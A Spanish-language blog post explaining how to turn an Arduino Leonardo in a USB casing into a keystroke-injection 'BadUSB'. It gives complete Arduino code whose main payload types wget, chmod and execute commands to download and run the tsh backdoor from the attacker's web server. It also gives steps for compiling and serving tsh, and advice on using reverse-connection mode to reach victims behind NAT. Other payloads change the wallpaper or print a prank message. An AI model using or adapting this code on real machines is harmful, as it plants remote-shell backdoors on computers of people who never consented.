Esta web utiliza cookies, puedes ver nuestra política de cookies, aquí Si continuas navegando estás aceptándola

Quacked


El primer paso es hacerse con el hardware correcto, se trata de un Arduino Leonardo dentro de una cajita metálica haciéndose pasar por un usb. Lo podemos comprar en aliexpress por el módico precio de 5$:

AliExpress - BadUsb

El siguiente paso es descargarse el IDE de Arduino:

https://www.arduino.cc/en/Main/Software

Ahora las librerias de teclado con soporte para español:

cd ArduinoDIRECTORY/libraries/
git clone https://github.com/ernesto-xload/arduino_keyboardlib.git
vi arduino_keyboardlib/src/Keyboard.h
#define kbd_es_es

Con todo esto ya estamos listos para la acción, como ejemplo podemos tomar este código:

// https://www.arduino.cc/en/Reference/KeyboardModifiers

#define TSH 0
#define WALLMATE 1
#define AWESOME 2

#include "Keyboard.h"

// change this to match your payload:
int platform = TSH;

void setup() {
  Keyboard.begin();
}

void loop() {
  // necessary for SO to recognize keyboard
  delay(3000);

  switch (platform) {
    case TSH:
      // Download tshd binary
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      // RX4 ~/tsh-0.6> python -m SimpleHTTPServer 8888
      Keyboard.print("wget 192.168.20.114:8888/tshd -O /tmp/tshd");
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(2000);
      
      // Assign permissions
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      Keyboard.print("chmod 777 /tmp/tshd");
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(2000);
      
      // Execute fucking awesome tool
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      Keyboard.print("/tmp/tshd");
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(2000);
      
      break;
    case WALLMATE:
      // Download image
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      Keyboard.print("wget https://i.imgflip.com/1dv8ac.jpg -O /tmp/quacked.jpg");
      delay(1000);
      /*for (int i=0; i <= 1; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.write(' ');*/
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(2000);

      // Set wallpaper
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      Keyboard.print("gsettings set org.mate.background picture-filename '/tmp/quacked.jpg'");
      delay(1000);
      /*for (int i=0; i <= 1; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.write(' ');*/
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      
      break;
    case AWESOME:
      Keyboard.press(KEY_LEFT_GUI);
      Keyboard.write(KEY_RETURN);
      delay(1000);
      Keyboard.releaseAll();
      Keyboard.print("You have been Kr0med!!");
  }

  // do nothing:
  while (true);
}

Según el payload elegido el usb ejecutará unas acciones u otras, para el payload tsh debemos tener nuestro tsh compilado y arrancar un servidor web para que el wget pueda bajarse el binario:

wget https://packetstormsecurity.com/files/download/31650/tsh-0.6.tgz
tar xvzf tsh-0.6.tgz
cd tsh-0.6
make linux

Arrancamos el servidor web:

python -m SimpleHTTPServer 8888

Ahora cuando se baje el binario aparecerá una entrada en la consola donde lanzamos el servidor web, pudiendo así conectar con la víctima, si la víctima está nateada obviamente esto no funcionará, lo que podemos hacer es compilar tsh en modo "conexión reversa" así será ella quien conecte con nosotros burlando el NAT.


Autor: Kr0m -- 04/06/2018 22:06:43